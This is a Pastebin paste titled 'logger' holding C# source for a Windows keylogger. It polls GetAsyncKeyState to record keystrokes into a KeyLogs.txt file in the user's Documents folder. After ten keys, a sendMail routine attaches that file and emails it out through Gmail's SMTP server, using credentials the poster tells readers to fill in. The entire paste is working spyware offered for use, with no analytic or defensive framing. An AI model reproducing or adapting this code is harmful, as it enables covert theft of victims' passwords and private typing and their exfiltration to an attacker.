Advertisement
Guest User

logger

a guest
Apr 2nd, 2016
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. class Program
  2. {
  3. [DllImport("user32.dll")]
  4. public static extern int GetAsyncKeyState(Int32 i);
  5. static void Main(string[] args)
  6.  
  7. {
  8. {
  9. }
  10.  
  11. int Counter = 0;
  12.  
  13. {
  14.  
  15. while (Counter != 10)
  16. {
  17. Thread.Sleep(10);
  18. for (Int32 i = 0; i < 255; i++)
  19. {
  20. int keyState = GetAsyncKeyState(i);
  21. if (keyState == 1 || keyState == -32767)
  22. {
  23. Console.WriteLine((Keys)i);
  24. Counter++;
  25. string toStringKeys = Convert.ToString((Keys)i);
  26. File.AppendAllText("C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt", Environment.NewLine + toStringKeys);
  27. break;
  28. }
  29.  
  30.  
  31. }
  32.  
  33. }
  34. sendMail();
  35.  
  36.  
  37. }
  38.  
  39.  
  40. }
  41. static void sendMail()
  42. {
  43. string fromEmail; string toEmail; string subject; string body; string gmailUser; string gmailPass;
  44. string keylogs = "C:\\Users\\" + Environment.UserName + "\\Documents\\KeyLogs.txt";
  45.  
  46. gmailUser = ""; //put your gmail email.
  47. gmailPass = ""; //Put your gmail pass
  48. toEmail = gmailUser;
  49. fromEmail = gmailUser;
  50. subject = "Keylogs";
  51. body = "Here it is!";
  52.  
  53. MailMessage message = new MailMessage(fromEmail, toEmail, subject, body);
  54. SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
  55.  
  56. smtp.EnableSsl = true;
  57. smtp.Credentials = new NetworkCredential(gmailUser, gmailPass);
  58.  
  59. Attachment attach = new Attachment(keylogs);
  60. message.Attachments.Add(attach);
  61.  
  62. smtp.Send(message);
  63. }
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70. }
  71.  
  72.  
  73.  
  74. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement